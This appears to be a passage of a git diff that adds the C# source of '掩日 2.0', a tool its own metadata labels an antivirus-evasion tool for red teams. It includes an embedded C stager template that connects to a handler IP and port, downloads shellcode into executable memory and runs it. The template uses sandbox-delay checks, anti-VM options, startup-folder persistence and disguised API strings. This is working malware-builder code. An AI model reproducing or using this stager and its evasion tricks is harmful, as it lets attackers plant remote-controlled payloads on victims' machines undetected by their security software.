+ "沙箱:延时约180秒",
+ "虚拟机:简单反虚拟机"};
+
+ //持久化,TODO
+ public static string[] Persistence = { "不使用",
+ "写入开机启动目录"};
+
+ public static string[] Company_name = {"ApplePen", "SAVVYTECH", "TechyType", "TECHIEIE", "TechFLRRY", "TechCODER", "MicroSofter", "Gooogle",
+ "Webuzz", "Tecazort", "Cyberry", "BigMi", "Facebowl", "Amazzon", "Hundred Poison", "BetaBet"};
+
+ }
+}
diff --git "a/\346\216\251\346\227\2452.0/Program.cs" "b/\346\216\251\346\227\2452.0/Program.cs"
new file mode 100644
index 0000000..61f1c59
--- /dev/null
+++ "b/\346\216\251\346\227\2452.0/Program.cs"
@@ -0,0 +1,21 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Windows.Forms;
+
+namespace 掩日2._0
+{
+ static class Program
+ {
+ ///
+ /// 应用程序的主入口点。
+ ///
+ [STAThread]
+ static void Main()
+ {
+ Application.EnableVisualStyles();
+ Application.SetCompatibleTextRenderingDefault(false);
+ Application.Run(new Form1());
+ }
+ }
+}
diff --git "a/\346\216\251\346\227\2452.0/Properties/AssemblyInfo.cs" "b/\346\216\251\346\227\2452.0/Properties/AssemblyInfo.cs"
new file mode 100644
index 0000000..5e89857
--- /dev/null
+++ "b/\346\216\251\346\227\2452.0/Properties/AssemblyInfo.cs"
@@ -0,0 +1,36 @@
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+// 有关程序集的一般信息由以下
+// 控制。更改这些特性值可修改
+// 与程序集关联的信息。
+[assembly: AssemblyTitle("掩日 2.0 - Advanced AV Evasion Tool For Red Team")]
+[assembly: AssemblyDescription("掩日 2.0 - Advanced AV Evasion Tool For Red Team")]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyCompany("1y0n.com")]
+[assembly: AssemblyProduct("掩日2.0")]
+[assembly: AssemblyCopyright("MIT © 1y0n.com")]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyCulture("")]
+
+// 将 ComVisible 设置为 false 会使此程序集中的类型
+//对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型
+//请将此类型的 ComVisible 特性设置为 true。
+[assembly: ComVisible(false)]
+
+// 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
+[assembly: Guid("7898617d-08d2-4297-adfe-5edd5c1b828b")]
+
+// 程序集的版本信息由下列四个值组成:
+//
+// 主版本
+// 次版本
+// 生成号
+// 修订号
+//
+//可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值
+//通过使用 "*",如下所示:
+// [assembly: AssemblyVersion("1.0.*")]
+[assembly: AssemblyVersion("2.0.0.0")]
+[assembly: AssemblyFileVersion("2.0.0.0")]
diff --git "a/\346\216\251\346\227\2452.0/Properties/Resources.Designer.cs" "b/\346\216\251\346\227\2452.0/Properties/Resources.Designer.cs"
new file mode 100644
index 0000000..406c966
--- /dev/null
+++ "b/\346\216\251\346\227\2452.0/Properties/Resources.Designer.cs"
@@ -0,0 +1,71 @@
+//------------------------------------------------------------------------------
+//
+// 此代码由工具生成。
+// 运行时版本: 4.0.30319.42000
+//
+// 对此文件的更改可能导致不正确的行为,如果
+// 重新生成代码,则所做更改将丢失。
+//
+//------------------------------------------------------------------------------
+
+namespace 掩日2._0.Properties
+{
+
+
+ ///
+ /// 强类型资源类,用于查找本地化字符串等。
+ ///
+ // 此类是由 StronglyTypedResourceBuilder
+ // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。
+ // 若要添加或删除成员,请编辑 .ResX 文件,然后重新运行 ResGen
+ // (以 /str 作为命令选项),或重新生成 VS 项目。
+ [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
+ [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
+ [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
+ internal class Resources
+ {
+
+ private static global::System.Resources.ResourceManager resourceMan;
+
+ private static global::System.Globalization.CultureInfo resourceCulture;
+
+ [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
+ internal Resources()
+ {
+ }
+
+ ///
+ /// 返回此类使用的缓存 ResourceManager 实例。
+ ///
+ [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
+ internal static global::System.Resources.ResourceManager ResourceManager
+ {
+ get
+ {
+ if ((resourceMan == null))
+ {
+ global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("掩日2._0.Properties.Resources", typeof(Resources).Assembly);
+ resourceMan = temp;
+ }
+ return resourceMan;
+ }
+ }
+
+ ///
+ /// 覆盖当前线程的 CurrentUICulture 属性
+ /// 使用此强类型的资源类的资源查找。
+ ///
+ [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
+ internal static global::System.Globalization.CultureInfo Culture
+ {
+ get
+ {
+ return resourceCulture;
+ }
+ set
+ {
+ resourceCulture = value;
+ }
+ }
+ }
+}
diff --git "a/\346\216\251\346\227\2452.0/Properties/Resources.resx" "b/\346\216\251\346\227\2452.0/Properties/Resources.resx"
new file mode 100644
index 0000000..ffecec8
--- /dev/null
+++ "b/\346\216\251\346\227\2452.0/Properties/Resources.resx"
@@ -0,0 +1,117 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ text/microsoft-resx
+
+
+ 2.0
+
+
+ System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
+
+
+ System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
+
+
\ No newline at end of file
diff --git "a/\346\216\251\346\227\2452.0/Properties/Settings.Designer.cs" "b/\346\216\251\346\227\2452.0/Properties/Settings.Designer.cs"
new file mode 100644
index 0000000..cf8e30a
--- /dev/null
+++ "b/\346\216\251\346\227\2452.0/Properties/Settings.Designer.cs"
@@ -0,0 +1,30 @@
+//------------------------------------------------------------------------------
+//
+// This code was generated by a tool.
+// Runtime Version:4.0.30319.42000
+//
+// Changes to this file may cause incorrect behavior and will be lost if
+// the code is regenerated.
+//
+//------------------------------------------------------------------------------
+
+namespace 掩日2._0.Properties
+{
+
+
+ [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
+ [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")]
+ internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase
+ {
+
+ private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
+
+ public static Settings Default
+ {
+ get
+ {
+ return defaultInstance;
+ }
+ }
+ }
+}
diff --git "a/\346\216\251\346\227\2452.0/Properties/Settings.settings" "b/\346\216\251\346\227\2452.0/Properties/Settings.settings"
new file mode 100644
index 0000000..abf36c5
--- /dev/null
+++ "b/\346\216\251\346\227\2452.0/Properties/Settings.settings"
@@ -0,0 +1,7 @@
+
+
+
+
+
+
+
diff --git "a/\346\216\251\346\227\2452.0/T_C_VirtualAlloc.cs" "b/\346\216\251\346\227\2452.0/T_C_VirtualAlloc.cs"
new file mode 100644
index 0000000..1be69dd
--- /dev/null
+++ "b/\346\216\251\346\227\2452.0/T_C_VirtualAlloc.cs"
@@ -0,0 +1,18 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace 掩日2._0
+{
+ class T_C_VirtualAlloc
+ {
+ public static string code = "";
+
+ public static string Getcode()
+ {
+ code = "";
+ return code;
+ }
+ }
+}
diff --git "a/\346\216\251\346\227\2452.0/T_EasyMode.cs" "b/\346\216\251\346\227\2452.0/T_EasyMode.cs"
new file mode 100644
index 0000000..0183350
--- /dev/null
+++ "b/\346\216\251\346\227\2452.0/T_EasyMode.cs"
@@ -0,0 +1,128 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace 掩日2._0
+{
+ class T_EasyMode
+ {
+ public static string code = "";
+ public static string GetCode()
+ {
+ code = @"#include
+#include
+#include
+#include
+#include
+
+/* init winsock */
+void winsock_init() {
+ WSADATA wsaData;
+ WORD wVersionRequested;
+
+ wVersionRequested = MAKEWORD(2, 2);
+
+ if (WSAStartup(wVersionRequested, &wsaData) < 0) {
+ WSACleanup();
+ exit(1);
+ }
+}
+
+
+/* attempt to receive all of the requested data from the socket */
+int xxxxxx(SOCKET my_socket, void * buffer, int len) {
+ int tret = 0;
+ int nret = 0;
+ void * startb = buffer;
+ while (tret < len) {
+ nret = recv(my_socket, (char *)startb, len - tret, 0);
+ startb += nret;
+ tret += nret;
+ }
+ return tret;
+}
+
+/* establish a connection to a host:port */
+SOCKET wxxxxxx(char * targetip, int port) {
+ struct hostent * target;
+ struct sockaddr_in sock;
+ SOCKET my_socket;
+
+ /* setup our socket */
+ my_socket = socket(AF_INET, SOCK_STREAM, 0);
+
+ /* resolve our target */
+ target = gethostbyname(targetip);
+
+
+ /* copy our target information into the sock */
+ memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);
+ sock.sin_family = AF_INET;
+ sock.sin_port = htons(port);
+
+ /* attempt to connect */
+ connect(my_socket, (struct sockaddr *)&sock, sizeof(sock));
+
+ return my_socket;
+}
+
+
+int main(int argc, char * argv[]) {
+ ULONG32 size;
+ char * buffer;
+ void (*function)();
+
+ winsock_init();
+
+ /* connect to the handler */
+ char* testString2 = ((char[]){{{ip}}});
+ char* testString3 = ((char[]){'V','i','r','t','u','a','l','A','l','l','o','c','\0'});
+ char* testString4 = ((char[]){'k','e','r','n','e','l','3','2','\0'});
+
+ //绕过沙箱
+ clock_t start, finish;
+ double Total_time;
+ start = clock();
+ Sleep(800);
+ finish = clock();
+
+ Total_time = (double)(finish - start);
+ if(Total_time < 800)
+ {
+ return 0;
+ }
+
+
+ SOCKET my_socket = wxxxxxx(testString2, {{port}});
+
+ /* read the 4-byte length */
+ recv(my_socket, (char *)&size, 4, 0);
+
+ /* allocate a RWX buffer */
+ typedef LPVOID (WINAPI* VirtualAllocB)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
+
+ VirtualAllocB p = (VirtualAllocB)GetProcAddress(GetModuleHandle(testString4), testString3);
+ buffer = (char*)(*p)(NULL, size+5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+
+ /* prepend a little assembly to move our SOCKET value to the EDI register
+ thanks mihi for pointing this out
+ BF 78 56 34 12 => mov edi, 0x12345678 */
+ buffer[0] = 0xBF;
+
+ /* copy the value of our socket to the buffer */
+ memcpy(buffer + 1, &my_socket, 4);
+
+ /* read bytes into the buffer */
+ xxxxxx(my_socket, buffer + 5, size);
+
+ /* cast our buffer as a function and call it */
+ (*(void(*)())buffer)();
+
+ return 0;
+}
+";
+ return code;
+ }
+ }
+}
diff --git "a/\346\216\251\346\227\2452.0/trojan.ico" "b/\346\216\251\346\227\2452.0/trojan.ico"
new file mode 100644
index 0000000..cd7ad6d
Binary files /dev/null and "b/\346\216\251\346\227\2452.0/trojan.ico" differ
diff --git "a/\346\216\251\346\227\2452.0/\346\216\251\346\227\2452.0.csproj" "b/\346\216\251\346\227\2452.0/\346\216\251\346\227\2452.0.csproj"
new file mode 100644
index 0000000..03605d4
--- /dev/null
+++ "b/\346\216\251\346\227\2452.0/\346\216\251\346\227\2452.0.csproj"
@@ -0,0 +1,126 @@
+
+
+
+
+ Debug
+ AnyCPU
+ {7898617D-08D2-4297-ADFE-5EDD5C1B828B}
+ WinExe
+ 掩日2._0
+ 掩日 2.0 - Advanced AV Evasion Tool For Red Team
+ v4.0
+ 512
+ true
+ false
+ publish\
+ true
+ Disk
+ false
+ Foreground
+ 7
+ Days
+ false
+ false
+ true
+ 0
+ 2.0.0.%2a
+ false
+ true
+
+
+ AnyCPU
+ true
+ full
+ false
+ bin\Debug\
+ DEBUG;TRACE
+ prompt
+ 4
+
+
+ AnyCPU
+ pdbonly
+ true
+ bin\Release\
+ TRACE
+ prompt
+ 4
+
+
+ trojan.ico
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Form
+
+
+ AboutBox1.cs
+
+
+
+
+
+ Form
+
+
+ Form1.cs
+
+
+
+
+
+
+
+
+
+ AboutBox1.cs
+
+
+ Form1.cs
+
+
+ ResXFileCodeGenerator
+ Resources.Designer.cs
+ Designer
+
+
+ True
+ Resources.resx
+
+
+ SettingsSingleFileGenerator
+ Settings.Designer.cs
+
+
+ True
+ Settings.settings
+ True
+
+
+
+
+ False
+ .NET Framework 3.5 SP1
+ false
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git "a/\346\216\251\346\227\2452.0/\346\216\251\346\227\2452.0.csproj.user" "b/\346\216\251\346\227\2452.0/\346\216\251\346\227\2452.0.csproj.user"
new file mode 100644
index 0000000..c91bf8f
--- /dev/null
+++ "b/\346\216\251\346\227\2452.0/\346\216\251\346\227\2452.0.csproj.user"
@@ -0,0 +1,13 @@
+
+
+
+ publish\
+
+
+
+
+
+ zh-CN
+ false
+
+
\ No newline at end of file
diff --git "a/\346\216\251\346\227\2452.0/\346\216\251\346\227\2452.0.sln" "b/\346\216\251\346\227\2452.0/\346\216\251\346\227\2452.0.sln"
new file mode 100644
index 0000000..52d546a
--- /dev/null
+++ "b/\346\216\251\346\227\2452.0/\346\216\251\346\227\2452.0.sln"
@@ -0,0 +1,25 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 16
+VisualStudioVersion = 16.0.29418.71
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "掩日2.0", "掩日2.0.csproj", "{7898617D-08D2-4297-ADFE-5EDD5C1B828B}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|Any CPU = Debug|Any CPU
+ Release|Any CPU = Release|Any CPU
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {7898617D-08D2-4297-ADFE-5EDD5C1B828B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+ {7898617D-08D2-4297-ADFE-5EDD5C1B828B}.Debug|Any CPU.Build.0 = Debug|Any CPU
+ {7898617D-08D2-4297-ADFE-5EDD5C1B828B}.Release|Any CPU.ActiveCfg = Release|Any CPU
+ {7898617D-08D2-4297-ADFE-5EDD5C1B828B}.Release|Any CPU.Build.0 = Release|Any CPU
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+ GlobalSection(ExtensibilityGlobals) = postSolution
+ SolutionGuid = {FC2825C0-84C1-4FA4-A846-B23326C7C8AF}
+ EndGlobalSection
+EndGlobal